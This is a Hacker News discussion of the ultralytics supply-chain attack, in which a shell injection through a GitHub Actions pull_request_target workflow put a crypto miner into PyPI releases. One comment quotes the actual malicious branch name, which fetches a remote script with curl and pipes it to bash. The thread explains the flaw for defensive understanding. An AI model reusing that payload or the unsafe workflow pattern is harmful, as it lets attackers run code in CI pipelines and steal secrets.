Discrepancy between what's in GitHub and what's been published to PyPI | Hacker News Reader

Discrepancy between what's in GitHub and what's been published to PyPI

github.com

Pretty interesting hack. It injects code that’s being run in a GitHub script.

The script runs:

echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}" echo "github.ref: ${{ github.ref }}" echo "github.head_ref: ${{ github.head_ref }}" echo "github.base_ref: ${{ github.base_ref }}"

Unfortunately, because of string escaping in bash, if you run:

${{ github.event.pull_request.head.ref }}

And someone makes a pull request with this branch name (I didn’t even know git let you name branches like this):

Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash

You get code injection.

This is security advisory:

https://github.com/advisories/GHSA-7x29-qqmq-v6qc

What in the world? The security advisory was published to their repo 4 months ago?

EDIT: Oh... Apparantly they reintroduced the vuln again about a month later... https://github.com/ultralytics/actions/commit/5f84281dad900e...

I'm guessing that workflow is still vulnerable. Surely piping user-controlled text into the .env file for your runner should raise some red flags?

Why does it run in the context of base branch though?

The repository maintainers are running actions for PRs with the `pull_request_target` trigger, which gives full access to target repository secrets with write permissions. It's very explicitly documented as dangerous to do this. To mitigate the risk, `pull_request_target` actions run on the state of the target branch, not the source branch, but in this case because the target branch has this script which executes code influenced by an untrusted data source (the branch name), you get this vulnerability.

This is pretty crazy. A shell injection via a PR with a malicious branch name exploiting the github actions CI code to inject crypto miner into the release artifacts. Clever but it's pretty sad that the project maintainers fell for it.

The project maintainers had to both:

1) Decide to use the highly risky `pull_request_target` Actions trigger instead of the much safer `pull_request` trigger, 2) include in their Actions a script, executing in an environment with write access to the repo and access to repository secrets, which executes untrusted input (the branch name).

For context, ultralytics is the Python package for YOLO v8 and YOLO v11, two of the most widely used object detection models. The GitHub repo has 33K stars.

Reply on news.ycombinator.com